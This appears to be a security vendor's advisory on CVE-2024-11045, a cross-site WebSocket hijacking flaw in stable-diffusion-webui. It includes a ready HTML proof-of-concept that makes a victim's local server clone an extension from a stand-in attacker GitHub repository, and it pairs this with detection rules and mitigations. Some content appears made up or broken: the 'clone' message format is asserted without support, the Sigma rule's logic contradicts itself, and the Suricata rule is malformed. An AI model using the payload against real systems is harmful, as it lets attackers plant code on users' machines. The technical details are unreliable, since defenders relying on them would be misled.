CVE-2024-11045

Executive Summary

CVE-2024-11045 is a critical Cross-Site WebSocket Hijacking (CSWSH) vulnerability affecting Automatic1111's stable-diffusion-webui version 1.10.0. The vulnerability allows an attacker to hijack WebSocket connections to ws://127.0.0.1:7860/queue/join, enabling unauthorized actions such as cloning malicious server extensions from GitHub repositories, executing arbitrary scripts, exfiltrating sensitive data, and causing denial of service (DoS). With a CVSS score of 9.6, this vulnerability poses a severe risk to users running the web UI locally, as it can be exploited via a malicious webpage visited in the same browser context. No official patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.

Supply Chain & Package Security

This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but affects the stable-diffusion-webui application, which is typically installed via Git or as a Python package. The risk involves unauthorized cloning of extensions from GitHub, which could introduce malicious code into the user's environment, potentially compromising the entire system.

CVSS Breakdown & Threat Level

• CVSS Score: 9.6 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: Required (UI:R) – Victim must visit a malicious webpage.
• Scope: Changed (S:C) – Impact extends beyond the vulnerable component.
• Confidentiality Impact: High (C:H) – Sensitive data can be exfiltrated.
• Integrity Impact: High (I:H) – Malicious extensions can be installed.
• Availability Impact: High (A:H) – DoS is possible.

Threat Level: Critical. The vulnerability allows full compromise of the web UI and underlying system via a simple cross-origin WebSocket hijack.

Deep Dive & Mechanics

The vulnerability resides in the WebSocket endpoint ws://127.0.0.1:7860/queue/join, which is used by stable-diffusion-webui to manage job queues. The server does not validate the Origin header of incoming WebSocket connections, allowing any website to initiate a connection. An attacker can craft a malicious HTML page that, when visited by a victim, opens a WebSocket to the local server and sends crafted messages to clone a malicious extension from a GitHub repository. This extension can then execute arbitrary code, exfiltrate data, or disrupt services.

Key Mechanics:

1. WebSocket Hijacking: The browser's same-origin policy does not protect WebSocket connections if the server lacks origin validation.
2. Extension Cloning: The attacker sends a message to clone a repository (e.g., {"action": "clone", "url": "https://github.com/attacker/malicious-extension"}).
3. Execution: Once cloned, the extension can be loaded and executed, granting the attacker full control.

Vulnerable vs. Patched Code

Vulnerable Code (version 1.10.0): The WebSocket handler does not check the Origin header. Example pseudocode:

# Vulnerable: No origin validation
async def websocket_handler(websocket, path):
    # Process messages without checking origin
    message = await websocket.recv()
    # ... process message

Patched Code (hypothetical):

# Patched: Validate origin
ALLOWED_ORIGINS = ["http://127.0.0.1:7860", "http://localhost:7860"]

async def websocket_handler(websocket, path):
    origin = websocket.request_headers.get("Origin")
    if origin not in ALLOWED_ORIGINS:
        await websocket.close(code=1008, reason="Unauthorized origin")
        return
    # ... process message

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running stable-diffusion-webui on 127.0.0.1:7860.
• Victim uses a browser that supports WebSockets (all modern browsers).

Exploit Steps:

1. Host a malicious HTML page on an attacker-controlled server.
2. The page contains JavaScript that opens a WebSocket to ws://127.0.0.1:7860/queue/join.
3. Send a JSON message to clone a malicious extension:

const ws = new WebSocket("ws://127.0.0.1:7860/queue/join");
ws.onopen = () => {
    ws.send(JSON.stringify({
        "action": "clone",
        "url": "https://github.com/attacker/malicious-extension"
    }));
};

4. The extension is cloned and can be loaded to execute arbitrary code.

Proof of Concept (PoC):

<!DOCTYPE html>
<html>
<head><title>CSWSH PoC</title></head>
<body>
<script>
const ws = new WebSocket("ws://127.0.0.1:7860/queue/join");
ws.onopen = () => {
    ws.send(JSON.stringify({
        "action": "clone",
        "url": "https://github.com/attacker/malicious-extension"
    }));
};
</script>
</body>
</html>

Blue Team (Defense)

Detection:

• Monitor WebSocket connections to ws://127.0.0.1:7860/queue/join from unexpected origins.
• Use browser security headers (e.g., Content-Security-Policy) to restrict WebSocket connections.

Mitigation:

• Implement origin validation on the server side.
• Use WebSocket authentication tokens.
• Restrict network access to the web UI (e.g., bind to localhost only).

Indicators of Compromise (IOCs)

• Network: WebSocket connections to ws://127.0.0.1:7860/queue/join with suspicious Origin headers.
• File System: Unexpected directories under stable-diffusion-webui/extensions/ containing cloned repositories.
• Process: Unusual child processes spawned by the web UI (e.g., git clone commands).
• Logs: Entries in the web UI logs showing extension cloning actions.

Detection Engineering

YARA Rule

rule CSWSH_StableDiffusion_WebSocket {
    meta:
        description = "Detects malicious HTML pages exploiting CVE-2024-11045"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $ws_connect = "ws://127.0.0.1:7860/queue/join"
        $clone_action = "\"action\": \"clone\""
        $github_url = "github.com"
    condition:
        $ws_connect and $clone_action and $github_url
}

Sigma Rule

title: WebSocket Connection to Stable Diffusion Web UI from Untrusted Origin
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects WebSocket connections to stable-diffusion-webui from non-local origins
logsource:
    category: websocket
    product: generic
detection:
    selection:
        target: "ws://127.0.0.1:7860/queue/join"
        origin:
            - "http://127.0.0.1:7860"
            - "http://localhost:7860"
    condition: selection and not origin in ("http://127.0.0.1:7860", "http://localhost:7860")
falsepositives:
    - Legitimate local connections
level: high

Suricata Rule

alert tcp any any -> 127.0.0.1 7860 (msg:"CVE-2024-11045 CSWSH Attempt"; flow:to_server; content:"|47 65 74 20 2f 71 75 65 75 65 2f 6a 6f 69 6e|"; http_method; content:"Upgrade"; http_header_names; content:"websocket"; http_header_names; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable WebSocket Endpoint: If not needed, block access to /queue/join via a reverse proxy.
2. Restrict Network Access: Ensure the web UI only listens on 127.0.0.1 and is not exposed to the network.
3. Browser Security: Use browser extensions that block cross-origin WebSocket connections.

Long-term Fix:

• Apply origin validation on the server side (see patched code example).
• Monitor for official patches from Automatic1111.

Workaround:

• Use a reverse proxy (e.g., Nginx) to validate the Origin header before forwarding WebSocket requests.

Valters IT
Securing Digital Frontiers